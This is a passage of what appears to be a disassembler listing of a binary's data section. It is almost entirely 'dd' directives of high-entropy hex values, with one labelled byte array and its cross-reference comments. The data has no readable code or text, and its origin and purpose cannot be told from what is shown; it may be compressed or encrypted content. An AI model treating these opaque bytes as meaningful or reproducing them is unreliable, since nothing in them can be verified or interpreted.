0E0EB4DBEh, 9D1FCBh dd 4FE99C53h, 9517DD6Ah, 0DA353901h, 8A46A907h, 1D63BFD8h dd 4BC49048h, 0B3091301h, 73152D80h, 12002AEDh, 74E88B97h dd 2E5D0h, 0E28D7E7Ch, 6E3A160Eh, 0A30041E4h, 29D24DA4h dd 54EE25h, 2A6F5563h, 0F7F6B3B8h, 2887F326h, 4D32803Dh dd 19EE2030h, 34EB005Fh, 0A9BDD623h, 0DCFC2559h, 0B53899E0h dd 82A5023Ah, 63ACEEE2h, 88CEEBDDh, 0F8307AC8h, 0D74F009Ah dd 0A277AB64h, 8678E0B4h, 0F74B0800h, 1C0D0155h, 0FAA1003Fh dd 18C05E97h, 0A80029A9h, 6CF34B81h, 0E4807E92h, 8B2D0179h dd 4A970A05h, 84E860DEh, 75D1AB00h, 0B0422317h, 0AC520E31h dd 6F80F04Eh, 7F591868h, 0D1FDAA00h, 21900F76h, 117C02D3h dd 77E68353h, 0BCFE2860h, 65816F02h, 0C04815F3h, 22BDD5E8h dd 0C8007DA4h, 3212732h, 1ACE2C3h, 346FD9A0h, 20901DE8h dd 0FA205450h, 36CB1657h, 3C3C407Dh, 9F010B62h, 0D81CF700h dd 72DC76DDh, 698F0753h, 3087CD2Ch, 0A8F48D5Dh, 3F670140h dd 3F80E3C4h, 0D5A2055Ah, 0CC02C7BFh, 1B5BE754h, 961460CEh dd 13661EA8h, 9115C0B2h, 0DE3F5C42h, 0EC0D6B00h, 4727FF49h dd 5F1D01BDh, 0A0659E90h, 0C24883EFh, 0E074DBC8h, 5B9B34h dd 17F61B92h, 56585746h, 554139h, 64D4FF6Eh, 201C0B0h dd 6DDFB28Ch, 0BC80D11Eh, 0DAAF8F98h, 6681E902h, 0E0DE6504h dd 7BB1F39Ch, 0BA7F3Dh, 7E696DC9h, 2C7CB349h, 8F21A739h dd 20E2975Fh, 9A597666h, 399E002Bh, 0D9185636h, 0D000B9E5h dd 0DE33DDC0h, 0B8D3804Ah, 9F233A3Ah, 324FC68Fh, 0CACF75C0h dd 45143A8Eh, 1C0A3E0h, 5EF12A21h, 8427B6E2h, 0EF49C000h dd 5426B8A0h, 3DB95B3Fh, 28D100B5h, 4A04558Ah, 14A9007Ch dd 0CB5FF7C2h, 320736CFh, 4CDF1F21h, 47BEEAA1h, 0F11C8D4h dd 158AD8B4h, 0BAC42B80h, 901F2941h, 8FFB511Fh, 80654877h dd 4CA6B4F4h, 6D8500B5h, 0CF6CEF89h, 0F8003A23h, 0E524201Ah dd 18AAE4D9h, 0B8E3E747h, 0D00D238h, 0EBF97618h, 1868B7B3h dd 885586B0h, 831764E1h, 8C5E2231h, 0A6B292C5h, 0AAE5F880h dd 49CA65C1h, 26804356h, 77886ED3h, 7300B521h, 28EC3A7Bh dd 7166BE44h, 57B2Ch, 221667BDh, 9EC9E5C6h, 0AD008A79h dd 98DD6F2Bh, 3ED1FBBh, 3915259Ah, 0C9F0047Fh, 7D00896Eh dd 0CB53D131h, 7A3427h, 0BB9DB337h, 147BC022h, 808020FFh dd 390C7C00h, 6B18575Eh, 0D3913B86h, 75BD4980h, 0A7E3660Eh dd 0F824B00h, 62DDD93Dh, 292F0060h, 0D8FEB26Bh, 0B55910A4h dd 0C24C60h, 0FD61AE3Fh, 137DE2AFh, 0F918C18h, 77418F58h dd 0CCD141DDh, 0AF4CF7D9h, 489004Ch, 9A152E11h, 0FF900034h dd 7BC7828Fh, 0D000DED2h, 49EF090Bh, 6BE4C1h, 2CB4542Eh dd 5798F62Fh, 0A1C52500h, 0AC082734h, 47C81F9Bh, 0D3BEC78Bh dd 31D167E6h, 0D4529135h, 550E6CA7h, 2E34E222h, 1CA40029h dd 925AF2Ah, 72183E49h, 2C4AC0C0h, 0C0945704h, 0F9876F76h dd 7BA8C1E9h, 23006029h, 4ABE4BB4h, 0A300A84Fh, 4D4106B5h dd 96B61B0h, 0EB24F8E7h, 0B24E7B80h, 0CFF29D6Eh, 0A37D000h dd 0F719B012h, 606A07BCh, 8465F045h, 83108374h, 4C6029D7h dd 0FAFA1B52h, 3097E25h, 991C848Ch, 0E0DE5FEBh, 13899B8h dd 155B8D14h, 0F478EE86h, 0B8725DE1h, 0D100897Ch, 3430297Ch dd 0AB8EB9h, 0B7E63B23h, 82F22855h, 1FE8C58h, 0F9E9C162h dd 4DFC91FDh, 4498F7h, 8B641AECh, 2215C911h, 0B2065B0Ch dd 19680Ch, 0DF33925Ch, 18603BF2h, 3279E500h, 9824A48Ch dd 0EEB40331h, 6619A66h, 7DE4BC0h, 7C04A4Ch, 4FDBFA10h dd 780DDF91h, 0F896BE43h, 0EC2BB13h, 391DCF37h, 97E5BAC1h dd 46146456h, 38B58213h, 8347C487h, 64DDE1B0h, 43932E87h dd 0D2191F7Ch, 0F01C8C47h, 9E737801h, 0AC4CC3E4h, 0ECD7B9D0h dd 802D4802h, 8C3C9900h, 13BA4521h, 70D8DB07h, 0B4D2A88Ah dd 34BB61B0h, 1218C670h, 7F0E3FBh, 0E04EB3E0h, 5DCD816Dh dd 0A0948600h, 0D5FF11DFh, 0AE6F0040h, 324BD763h, 0B400EB96h dd 55A45F3Dh, 7FF9B6h, 0BBC3B748h, 13C8A4Ah, 0BA504300h dd 4C9AA98h, 253D003Fh, 94AF4D1h, 997E55ADh, 70102098h dd 0DB00E44Eh, 1C36D07Fh, 0B998D668h, 8EB34D00h, 94A761B4h dd 8F9204ADh, 0C00B2F2Ah, 0C5D91288h, 181A900h, 784E4379h dd 0EDB60E9Ch, 0DC20F2B5h, 8EC7F9Bh, 3EB7E212h, 0A415D84Ah dd 56C09E6Fh, 2EF04BE0h, 4F70061h, 991FF851h, 7F003630h dd 4DDE97C7h, 1D8EDFh, 29CC0C9Bh, 9218F026h, 2FAC7126h dd 2ADE2C00h, 21532Dh, 0A9B57376h, 79DDB8Ch, 38045EF6h dd 0AEDF3416h, 0D30098F2h, 21F35CDDh, 1C04CA94h, 0A7AF92A2h dd 6B60C880h, 37FCFCh, 15DE0362h, 5FBC45E5h, 0D857720Fh dd 0B821802Ah, 0AE0522h, 0D38E2476h, 499FA0DFh, 1B84D700h dd 0E7F83EC3h, 123800EBh, 0E13F2270h, 4000D6E9h, 4173A4EEh dd 902D5F66h, 0A603FB4h, 3B83F780h, 0BD409380h, 0F4E5253Fh dd 1BB738h, 539EDBF4h, 0E8BC26F2h, 704C0EE2h, 0EF404144h dd 12F53D7Ah, 0AE4BDA0Eh, 6AEE605Fh, 25FF7Eh, 0D7E11A19h dd 5D7C788Eh, 7960AF03h, 0C00C433Bh, 0E453376Fh, 1EB30099h dd 5EE6B710h, 3A7FF64Ah, 250F4898h, 21F32BCBh, 18C86A30h dd 2B60C3C5h, 0C4770761h, 80F5D198h, 0CC6A1675h, 2F3B0F01h dd 0BF34A311h, 68A5B880h, 811BE2EDh, 5BA8FD0Ch, 3DE18BEh dd 0E6E7AA13h, 0CD90A107h, 0FF24BB9Ah, 5F00A0D6h, 90792AFEh dd 0E1150019h, 6DD19E01h dd 7600CBE5h, 0F5BE70ACh, 0D968A3h, 12E284F9h, 0BBCE344Ah dd 55023B00h, 46F05F1h, 0FF818B1h, 9CBE503Ch, 0F6A44C00h dd 0FDB74D2Eh, 46F0E7h, 854B17A3h, 82864ACh, 313FC000h dd 0E3768071h, 152A00CDh, 0B07A585Ch, 83162CABh, 3EA4650h dd 0C8988EADh, 0F1EE80D0h, 0A42EB400h, 0D15B71E9h, 3A750760h dd 0A03F674Eh, 796A2914h, 0EF8DF600h, 233489FDh, 377B0052h dd 0FB33274h, 0B80015BFh, 249FC78Ah, 144D0D3Ah, 0E4734F60h dd 0ADD4ED25h, 6C3E2E00h, 44841Dh, 9F468F4Eh, 7C3B831h dd 7C53A20Eh, 79CF00E4h, 1EC45FD9h, 0C7EFA829h, 30DAED16h dd 92A22FAh, 5AE81400h, 72B78B46h, 3C96483Ah, 0A16C3200h dd 6939E1EEh, 82A8B0C5h, 0B30B7D80h, 2AD21CD7h, 346F00D1h dd 0C7A7BB09h, 0C8CF2C00h, 8722DB3Eh, 1ECE442h, 9DB8496Ah dd 2009945Dh, 0A3066B6Bh, 5BCCFFD9h, 50C800D0h, 54CE10F7h dd 2F00F6DAh, 0A26995EEh, 7D5C4Bh, 0FE73EABh, 0A420BA5Eh dd 860079FCh, 6822ADC4h, 0BFB2F49h, 7B1A0117h, 0D2F74D00h dd 0C1004050h, 57116930h, 39D8824h, 3ABE80F5h, 78581BC3h dd 0C463011Ah, 0E0A276EAh, 3602F8BAh, 423DA794h, 0B94ADB60h dd 0C1EBDA00h, 184B1EBBh, 7F3E00ECh, 58CB2006h, 0BE03F73Ah dd 51FC37A9h, 4ABDF0B2h, 83D0004Dh, 39E61C35h, 92008971h dd 3CDCF4E2h, 5DF896h, 70404304h, 0D7861B9Bh, 6C987C00h dd 830CA837h, 82CD0239h, 0FCF99E4Fh, 0C1108FC0h, 7400B3E6h dd 0A222E6FAh, 0E8A6E5h, 888A9BA7h, 0BD318FEEh, 2798CB00h dd 4A176FFDh, 80FE60BAh, 4FA55D5Eh, 533FDA00h, 3C6989AAh dd 0EAB3036Ah, 28747B0Ch, 1EE61148h, 0DA405A94h, 0DE247F48h dd 0D8FB0166h, 92B962D3h, 0F91DCC30h, 0A9781660h, 1DD5BC5Fh dd 8029A011h, 0D1613F89h, 4F00E7AFh, 95BCF51h, 772428h dd 4B8DE8BAh, 6FCAA0F3h, 784A3Bh, 0E4A7A954h, 28E3E0CBh dd 0FAB44D66h, 0DCCD108Ah, 0B1EA0235h, 0E0E3572Dh, 0A03D03CDh dd 1C9E3798h, 18D5E77Fh, 9076E8E4h, 0EE50F000h, 843D15C0h dd 2BB700A9h, 0FF3C93E9h, 8500697Bh, 30880CD4h, 550654h dd 429ACFB7h, 0D513EFDFh, 61011BECh, 0DBABEA2Fh, 0C0D02017h dd 3E4F3E6Ah, 5AFF6703h, 3BE17543h, 4099FD6Ch, 0B3E61E84h dd 5FF5720Eh, 0E9D32002h, 11DC918h, 0C0D6AFDh, 0CC0EC48Fh dd 540226C8h, 0E551F182h, 329EC092h, 3FE00075h, 5C64B95Dh dd 8D3B53DBh, 0F63E0090h, 614723B8h, 12697BC1h, 406CDD1Eh dd 0C7813A40h, 0EE7EBFA7h, 1949D430h, 0BE6625h, 0D3A52E98h dd 0A48DACD6h, 3B879C0Ah, 0CE00B0BAh, 34D20ABh, 0E7230079h dd 3E67A2ACh, 0F500C407h, 259DDB4h, 0C8E81Ch, 63CA8E3Bh dd 9AF2ECF3h, 0DE54921Eh, 60CCD78Fh, 9D8306ABh, 7520905Fh dd 4F780EDAh, 46CFCA22h, 0F1561CC0h, 8D086037h, 1EA0A3ABh dd 200E2D0h, 3AF5BD82h, 384EDF76h, 340F58AAh, 15017857h dd 0CBD8BB4Ah, 80CE5680h, 0D22E9A01h, 6FD5A7DEh, 3CB27E8h dd 7A044703h, 80872B58h, 0A849EBF1h, 83B56900h, 83C9514h dd 0BE7C0084h, 930A26A6h, 0FB028DB9h, 6437C02Ah, 0AC9C80D0h dd 2476739Fh, 1D28F966h, 93320042h, 16E0DBBDh, 80124B3Eh dd 0D1AFB472h, 74922566h, 915C1DA1h, 0B33EC098h, 0C9106A0Bh dd 0C8ADE9A1h, 72001ECCh, 5EE30F83h, 0C0853E11h, 8AF2B1F8h dd 3000823Bh, 1A05F598h, 0CA1331h, 834EEFB9h, 19FFDDEAh dd 6854E200h, 0E68AEBABh, 0DB9B00A4h, 5F82DC4Bh, 2E72D863h dd 0BC004E7Dh, 78327D7Eh, 0E1BCEA3h, 0AC849F7Ch, 20C7A5h dd 42ABF094h, 41008A75h, 63F547DDh, 140476EEh, 0C0F73307h dd 969E4300h, 816E2BB9h, 45ED2E17h, 15E714h, 0DAA6F008h dd 50A9047Ah, 3BAC4Ah, 5AB8CD8h, 0E9F0E6BDh, 78DC9800h dd 14106B1Ah, 74C8000Dh, 2579F75Ah, 5C00C443h, 0BC1E11F4h dd 3D22919Eh, 9A28A7A6h, 1D8403C8h, 9BD422Bh, 8B0FB7B0h dd 8AEC291Ch, 0CC216D41h, 0E4F896CAh, 439CC7h, 778E64C2h dd 0A4789F5Eh, 0CD154700h, 0F339511Fh, 97561440h, 8900ECF8h dd 9A03ED8h, 52005EE8h, 14030E83h, 947B7Dh, 0DC1F307Ah dd 4370EED7h, 0AF337100h, 7C19E403h, 3D4A001Ah, 90617D5Fh dd 8C002C31h, 0CB69E6D4h, 15DBE430h, 0C488B349h, 6048F63Eh dd 0EE1F2800h, 1CA5CE55h, 0A2EFCF8h, 7D00C23Fh, 4D63533Eh dd 813B0733h, 40966A65h, 110516CDh, 0EF24FE00h, 0F5CC8ECEh dd 0E97EFDh, 0EED15283h, 63061DB7h, 80C53538h, 0ACBDC47Ah dd 0FE540D0h, 0F99C7938h, 3BAF480Ah, 590213h, 0A0AD05DFh dd 1C00EBE8h, 61C7C924h, 3A5EC53Dh, 0FB8025CEh, 0A39C5DEEh dd 1B0049E3h, 2A616F2Ch, 2ED90763h, 51F78Ah, 419AAADBh dd 8600D1A5h, 0A9AD80E6h, 0F8833Eh, 0FB2C789Eh, 0F4B01B0Fh dd 0CF0033E0h, 0C1088DB8h, 537788h, 0F3D4B2E0h, 0FD2E20D9h dd 0EFAC6300h, 2DBD48E2h, 0BC7A009Dh, 4D913618h, 9F87199h dd 0FC424509h, 0EC1880E4h, 0FEDE16F3h, 29BD005Ah, 171CC2C0h dd 0A000353Ah, 0D3A9BB84h, 1861D719h, 985F336Bh, 75ECE58Bh dd 0DB0A52F4h, 0D8D3EDF6h, 1781A000h, 0A9897Ah, 0BA05960Eh dd 0EA09E50Fh, 1E50704Dh, 30419D64h, 22EDEE8Fh, 3741B630h dd 8720813Dh, 0E1CA77h, 9EC00E97h, 8EB8FAE1h, 4363590Fh dd 98880DAh, 1DFE06DBh, 800E93F9h, 0B500D62h, 0E009FDA3h dd 0E9DE43Eh, 92818263h, 2848A2ACh, 0FD7140DBh, 625B0150h dd 0E4CBF7DCh, 0BFC60A9h, 0CF773C00h, 3EFF9DABh, 6C5E8ACh dd 552AD640h, 9B01484Eh, 0F1FDB50Bh, 2FFC05BEh, 0D32D00B0h dd 0FB0CC059h, 0D70794E8h, 30705040h, 0F79A3AA0h, 373300FCh dd 8F84D969h, 4A003D2Fh, 0CC678C4Bh, 3A1F5408h, 210043E2h dd 0B5B43304h, 0F400E63Ah, 25C46F1Ah, 7F96E3h, 70DF9445h dd 0B9CD8DE5h, 0DC47FE0Fh, 0BC71004Ch, 8BEA74h, 1D405E44h dd 7659510Ch, 6ADB0A0Eh, 0E05DAEF9h, 0F7C3A302h, 811A0F74h dd 3D81F4E1h, 82A0B67Dh, 5F9B8318h, 1E1044C1h, 40C6F9C9h dd 0E5EEDF22h, 8CCB72Ah, 7021F2h, 0EFC9C6E0h, 0E2F8ACA2h dd 0F32FF700h, 0A87BD66Eh, 85BE027Eh, 0D30FFE3h, 8F42A080h dd 8B68A265h, 8899BC70h, 0FE186478h, 225EC608h, 4F0EC4C7h dd 0AC40FCBFh, 21395863h, 547D00F3h, 9C7F133Bh, 0EC0504FAh dd 713E6632h, 0C05B6C08h, 2253C6EDh, 30A9FF2Bh, 0CB03C2ACh dd 0A0FC5F92h, 0F9FA8661h, 2881C8BCh, 9123D8E8h, 43A0401Ah dd 400FD4A8h, 804E5802h, 6C19E1DFh, 60B703E8h, 85D54B31h dd 3B946AF8h, 0B0955E07h, 1CC78B8Dh, 6EAD004Fh, 9F2E52h dd 86D637A7h, 0FF93E548h, 8B730F00h, 9528E945h, 650331ADh dd 15F51329h, 280CE587h, 42228461h, 191F4266h, 4D51F6F7h dd 2944EE08h, 0E3D0447Bh, 84893744h, 602B6F22h, 0CC8C2967h dd 0B55C6599h, 0B0A20045h, 3FE21B72h, 0C99D50C8h, 7B64000Ah dd 0EC2725ADh, 0DF9893D8h, 6C67E8E7h, 0EB2F6F0Eh, 0E1EF622Bh dd 6D81F7DEh, 0D46BA87Ah, 48006129h, 6D8DC91Dh, 0F9AEB13h dd 0D38FB80Fh, 753C89E0h, 9C70B190h, 1A03BF7Ah, 0A82F135Fh dd 393C1DCh, 604FB520h, 73B938ECh, 0EA0032C6h, 616EE21Ch dd 0F46D6Ah, 0B49B266Fh, 0F6DC351Dh, 9FF3000h, 0F58A5BE1h dd 9E3B1C93h, 7E00045h, 8E0412D1h, 43EAFC60h, 342D5Dh dd 75A610B7h, 572C535Bh dd 3B60C15h, 6D000F0h, 0CAE3ACEBh, 0B4A100E1h, 18ADE56Ah dd 5803CCBBh, 4724EE03h, 0B660EFA0h, 344A57h, 18708EF0h dd 5C736B2Eh, 80B5A839h, 63D0C1A6h, 0DDCB0Ch, 8BEF444Fh dd 0FAB94DA4h, 944CAF0Ch, 0F98580EAh, 0E1C96710h, 2DF1D500h dd 0C5292F2Ah, 785E009Eh, 3796CFB3h, 0E30064AAh, 10345845h dd 609FD491h, 0A33F6AB7h, 8C3D6130h, 0C5A8804Dh, 0FCA63606h dd 0CD33CDFh, 4FC18500h, 6DAEA22Bh, 8E80DB05h, 0B800BB09h dd 0BDF951Ch, 5A260030h, 1AA5F904h, 15013944h, 34B70E8Dh dd 0A640DBA7h, 75106F8h, 92F672FAh, 8596A59Dh, 0A6741E7Fh dd 81AE1C8Eh, 198A3078h, 0F188746h, 0DE3083E0h, 6C11EEh dd 96D562EFh, 2DB85D0Ch, 2A001BE2h, 980DBF93h, 0EC480FCAh dd 4F2B0001h, 0D3234C8Fh, 3B3A2186h, 0C84874h, 0BBA766B2h dd 755D171h, 0AE0840Ch, 0E31A62E2h, 0A1881C40h, 23181498h dd 0BEF0936Ch, 4D0700D2h, 79F559FFh, 353C9E1Bh, 2A188039h dd 24770C1Eh, 0A093D13h, 47D7C301h, 0C86843CEh, 0C4F051A6h dd 0F02238h, 90DA01E3h, 125BACD4h, 1F61F2Ch, 4835DF3Eh dd 1611CC56h, 4841EC39h, 78C4A028h, 7F6791Bh, 0D25B0A9Dh dd 0F059E35Eh, 0C152101Eh, 90116DC0h, 7E1A6226h, 0BFC51AB9h dd 8C288Dh, 0E00D298h, 49E53258h, 8C631Eh, 2A213818h, 8E33C7A2h dd 0CAD7E101h, 454461E3h, 0C0C4F970h, 0CCE4F4C0h, 240334FDh dd 0C208F885h, 0E5C3C0DAh, 0DC86095Ch, 0CE009E76h, 4D9CBC6Bh dd 0A494D924h, 0C1755700h, 0E10DE5h, 0F2A6F540h, 83EBB1EAh dd 5657100h, 60C561AAh, 6D3C00BCh, 0E6334739h, 7B90324Ch dd 0CC1A9000h, 6E286724h, 0CFBB02D7h, 4DACF6C2h, 81408042h dd 8B7E49A5h, 0E244EE0Bh, 224D0017h, 3CD9952h, 0FBC5E478h dd 0D960F51Ch, 7328FEB0h, 0DCEA09B8h, 24214CFFh, 0FCDF10DBh dd 19006BFDh, 0CAAB8F5Dh, 2A5649h, 0EA958934h, 21CEA966h dd 3EC21504h, 0C08040A2h, 1E0B74Ch, 50397413h, 0C8C81D3Ah dd 0F7027625h, 6334D598h, 970687Ah, 0C2A80032h, 9277FF3Fh dd 10F26607h, 86296B01h, 0D8CA9E6Ah, 6B611421h, 9487ECh dd 47D31BA4h, 0E2706FABh, 0D5B03B03h, 0B8EB2314h, 50A67Dh dd 0AA1B308Fh, 4B37A316h, 0D962F800h, 0A8AF13BFh, 6EC90041h dd 0B17802E8h, 0C6008EC3h, 55A96A71h, 0EF75374h, 0A63861C5h dd 0CD40D820h, 0DD079856h, 0EEBA6BA7h, 0AE3AADA0h, 2E7700E1h dd 34BCF135h, 0D000AC59h, 2D024A7Ah, 187F475h, 0EF74D99Ch dd 801CF52Bh, 15477E18h, 3A7DC53h, 27F0BE62h, 67A8F9E2h dd 0B07CBA2h, 38DDFAD0h, 0C0FF1C02h, 2D48D0h, 3E4365F5h dd 0E6B2C657h, 89A93B14h, 5870180h, 419463F0h, 613680F3h dd 35AF039Fh, 0C611A68Dh, 0C89CF6E1h, 3F03CFCCh, 97C259A0h dd 0FF81B868h, 0E00E0020h, 2E01431Dh, 0B37FEA48h, 0AC553D0Eh dd 2206C080h, 0EB28EDAh, 59E2230Fh, 9A280072h, 871EE744h dd 0AFE6BB00h, 0FF160CE3h, 0D4CC0166h, 4878DC25h, 4BBC20B3h dd 0D2549412h, 0DA82A002h, 0CA461B7h, 42146C1h, 4732D8h dd 389BD497h, 0FBE8D8BDh, 0B0F43050h, 0A48D2503h, 80A7027Eh dd 60ADBAF7h, 5B4058B1h, 7B58D8FFh, 0C49E008Dh, 0FA16C572h dd 0DB73003Fh, 8D4D8807h, 0A00566Fh, 80D2B060h, 3AD3194h dd 0E9F0F9CDh, 29B838B1h, 88005447h, 41E1F123h, 0B26D4BCCh dd 91BD0428h, 90A87DB4h, 0F4CA4D58h, 28E4AA00h, 7F66C965h dd 0D5EA0096h, 20810698h, 48391145h, 6F460793h, 33D09F23h dd 0EEF9C610h, 2D150008h, 0ADB94C7Bh, 5500E6C4h, 1DA437Fh dd 12B59517h, 0F26D12h, 0AA49AE39h, 6A00DC52h db 53h byte_520045 db 0BFh, 36h, 6Eh ; DATA XREF: ___:00437A30o ; ___:00437A48o dd 0AC57C6h, 69731E39h, 1BD96C85h, 98FB9400h, 8E09F9Ah dd 0F88100A4h, 0EF1C60A3h, 26011573h, 661B8651h, 8E704691h dd 29340181h, 9C013CBh, 30C6173h, 75F8BBF7h, 0B80069BDh dd 6D2EFC9Ah, 0E7265Ah, 8564B0F6h, 288FF9B5h, 1C0340B8h dd 9E46E6Ah, 521A8D4h, 79649A20h, 1A6C1662h, 370C001Fh dd 0E025950Eh, 0B3011BEEh, 5F27A453h, 60DE8974h, 394B419Ch dd 1C804408h, 0E4835168h, 0D200991Fh, 0EF98387Bh, 450C7Fh dd 42C7BEA8h, 0D9504E67h, 461AD712h, 0AD0F7002h, 250AC097h dd 825203D5h, 0E529E630h, 437949C0h, 100A3F2h, 0C7EC7620h dd 0F699B3h, 5B25D10Bh, 0A4BB083Ch, 0F97E0F00h, 0EBCFE696h dd 7A4D0062h, 0B0D86C33h, 0C01539A6h, 298116Ah, 5F3CCADEh dd 209CE02Dh, 25840051h, 98CE11D6h, 0C01A843h, 974FFD5Eh dd 0A4C0B7C0h, 5DB61F02h, 0ECE691h, 0D8729F2Dh, 0DC15B5EDh dd 0E986235h, 816DE6CFh, 914096E0h, 8563C8h, 0CB165C87h dd 0F6ED224Eh, 8AF9EB00h, 66CA6E13h, 8D6748FCh, 0BD99051Dh dd 1E7E8186h, 0CA0011C2h, 5A216722h, 2CEAFFh, 4BCEA0FDh dd 0D75D28F4h, 53FEB300h, 94A3979Ch, 0E3F227h, 1A9FE752h dd 0A13EF2BEh, 0A5483AFCh, 2B57008Ch, 6CA3219h, 3058006Eh dd 0D8EC1FFBh, 9704759Fh, 46C5C67Ch, 23D944C1h, 1408870h dd 0F1AD1712h, 0D5B21F73h, 9FA040B9h, 435C5F0Fh, 191300E4h dd 0F8AE297Eh, 0CE5A0010h, 0D3E0A582h, 55946AB5h, 44FE813Fh dd 0CA730A9Ch, 54348E0h, 1201E9B4h, 0C7201D82h, 80EAAD84h dd 8847182Bh, 4A82C00h, 8C359438h, 0C96A1D6Dh, 80EFDF46h dd 0E6DBB24Ch, 9D001D7Dh, 8B3F6CABh, 1DD3DFAh, 962346B0h dd 0A03C7E6Ah, 0C001CF10h, 6693733Ah, 20832297h, 4AA73E0Ah dd 0B3BF8FC0h, 50275700h, 0B6F19345h, 90A30060h, 3CEA01B0h dd 751FA156h, 85FCCB78h, 400ECD9Bh, 0BE1CF805h, 3AC79006h dd 0AFD50010h, 1A69067h, 1A054F63h, 0FFE1B7B3h, 954090C0h dd 23EB0B65h, 41DEBCF8h, 3E38882Eh, 0DE750006h, 26DBD49Fh dd 913C0559h, 80703EACh, 0F3174A6Dh, 8A02B4F6h, 0AAFB0F87h dd 0E4B8C025h, 851400B3h, 16305F05h, 21056CB8h, 70825198h dd 2700A81Ch, 5FA84CB7h, 31EB00D8h, 0A173EC42h, 64387C72h dd 0C1974DCh, 0BF91805Dh, 6C713DCDh, 0CA229ECh, 0D978CEBAh dd 9DF07170h, 0E5405496h, 7BAA144Ah, 0BCAEC76h, 8B2B2A0Ah dd 65C1AD03h, 18C0969Ah, 9DFE1DA6h, 0D100EE75h, 8E4BCD06h dd 718E66Fh, 1A1E566h, 9F850BBh, 9B90CCA9h, 0BD13400h dd 91908D7Ch, 18AA6956h, 66E0C800h, 0A900FDEBh, 2A98BA0Dh dd 7831B8h, 2591206Ch, 0C2683F0Bh, 4B27E501h, 0ABD6944Fh dd 16589DF8h, 0AAF75h, 2E5A663Ch, 3DF0AE27h, 0C0C0B62Ch dd 0FCA4E800h, 551DCB2h, 5F8A073Bh, 828C0199h, 0C8E5C0CAh dd 0A0003CB3h, 6F7BF81Eh, 76D3FE5Dh, 9C9019h, 0A60108D7h dd 7A18489Dh, 0B8FC0A24h, 0DBC78607h, 9B80C650h, 0FA9C0BA7h dd 0DC80F19Dh, 0D3477BC1h, 0C7732603h, 809BC3AEh, 36890Bh dd 0F502BC1Ah, 63167DDAh, 4808C94h, 0F85C9546h, 89680108h dd 6C66E526h, 0E3D9F82Eh, 39006FF2h, 0D4925B1Ch, 17B312h dd 0F996B25h, 51F944E7h, 8FC37B05h, 0F48084DBh, 663473Eh dd 11F6F3D7h, 5900385Ah, 545B0C8Ah, 51B460h, 4B5663E1h dd 74C84EDAh, 0ACC9F624h, 5B51FBBh, 0A5D51300h, 78189Ch dd 21094923h, 1CE89D34h, 0C1AAF800h, 929A2DDDh, 379703ABh dd 60D1C246h, 0D327DED0h, 0FDA83404h, 0DCC080F3h, 20E632h dd 0D451F03Bh, 89601584h, 9AD76100h, 89DAF63h, 64290322h dd 5C0EECA3h, 0A4523F82h, 0F973DE01h, 0B9B41EE4h, 26A990E4h dd 0EDC069Eh, 4E208993h, 0CF1AEEC3h, 9A6D4200h, 640B075Bh dd 0FCBC097Bh, 806016FFh, 4803CF88h, 0FE0E262Ch, 60D5A2E4h dd 137AEB74h, 0CB34C1h, 0B4EE7B5Bh, 68008F9Bh, 8D4578F9h dd 3F7E0E32h, 7CAB66h, 1AD44987h, 2293FAFEh, 21177700h dd 10C17392h, 24130011h, 0D4A596B6h, 0CD00FD85h, 0EF67A7C0h dd 30FBB844h, 0B6807D2Fh, 27FC1FBFh, 556BDD00h, 0D053C15Dh dd 1B63035Ah, 0E2B0627Ah, 0D65E44E0h, 0E5879100h, 5F52166Dh dd 0D2890003h, 0BA4504B1h, 400177D1h, 0D69B75FDh, 0B17E5A87h dd 10DD4699h, 7B0D1F00h, 0BD09E079h, 5FE33193h, 0CC1B9E88h dd 5A00E67Eh, 35B0505Eh, 72EA7E1h, 0FF09892Dh, 7B7D30DCh dd 1E00BA82h, 0B587511Ah, 0DF8DB3h, 2A3050D6h, 45765FBDh dd 1ED39500h, 39F1F6C8h, 0AA5100E2h, 44A11A8Bh, 0BE1F4DD7h dd 1640BC08h, 24F97C48h, 61F07DCh, 71E8AC7Ah, 80BDE97Fh dd 39281628h, 3C7917FFh, 0FDBA8BF4h, 3ACE2580h, 0BA06DE8Eh dd 54401D0Fh, 0EDAA80F7h, 0F2FFB1h, 0C89B3569h, 2A7F5F0Ch dd 0BDA78B00h, 5D9C737Ch, 0E2E0ABh, 76376CFEh, 0D68DC470h dd 68919A00h, 0E3117D95h, 232700D9h, 0E0763F13h, 0DEAF107h dd 8032B63Ah, 0FFF303BDh, 0B59AEB68h, 0D2F87A80h, 5C3EE7E8h dd 0B46B0A51h, 0F100AC06h, 9C2A4C64h, 0E581004Dh, 0D4C27274h dd 9639C835h, 289A806Eh, 8CEBA45Ch, 92930082h, 69BF1F3Ah dd 0E4004BE8h, 248BA2B5h, 0B511475h, 7CD9FC49h, 0CC01B80h dd 0C900AF2Ch, 0AEFD33Bh, 286CAEFBh, 0E4FBBD74h, 67190072h dd 25D4BC43h, 77009FC8h, 9E20573Ah, 5CC5CEh, 91277CF1h dd 0BE0D1B31h, 23770200h, 49FAAB70h, 39E70F01h, 87BC53B2h dd 0E07AE272h, 0EF1116B1h, 7BA3731Eh, 0BD858600h, 1EB56E82h dd 40C767A0h, 9F92383Dh, 0AB392F9Dh, 34C9A8h, 8BCDC20Bh dd 20345A9h, 0B8ECF90Dh, 6C4078B1h, 4009E0CEh, 805DEF49h dd 0F513F2EFh, 0DFE70FDEh, 0F080BA39h, 636E0467h, 730285F4h dd 8C9D74A8h, 405A60B8h, 411303FFh, 0E191CE57h, 0AC786888h dd 4C481FF8h, 0DF630358h, 0C823ABB9h, 681EF9h, 0BC382B9Dh dd 0E1184FBEh, 27595306h, 12A06D4Dh, 7FFDB05h, 74A6C4A4h dd 25648055h, 0D9007F62h, 7859BD32h, 0B9686Fh, 0D2AAAD26h dd 5F233EE6h, 41FCF40Ah, 803FB7F7h, 843C270Ah, 29B445h dd 22734635h, 0C034835Dh, 49118800h, 3DE9F68Ah, 3A8C7E3Fh dd 0B38075D2h, 0BFEAE296h, 0AA00063Ah, 0FEF47B7Fh, 499032h dd 0F88FA707h, 0E87C2F15h, 3BB94700h, 0FB7580A8h, 313000F4h dd 0C8948944h, 0D4925D43h, 0B35C1200h, 0F0BE22D6h, 0CF453E07h dd 778CD800h, 3578FF9Bh, 1E9728C0h, 1207A971h, 1C9FEEC6h dd 8EF42BEh, 0A3C0EDF4h, 0F900D293h, 0D85A1C83h, 0E78730h dd 701343FAh, 0BEAFAE5Dh, 47D8900h, 8E7A2E25h, 45600083h dd 0E6394BCEh, 5B3B9F8Ah, 6E5F8B26h, 0E0D70E8Bh, 0C8431EC7h dd 0FBB000F5h, 6F3BB6E8h, 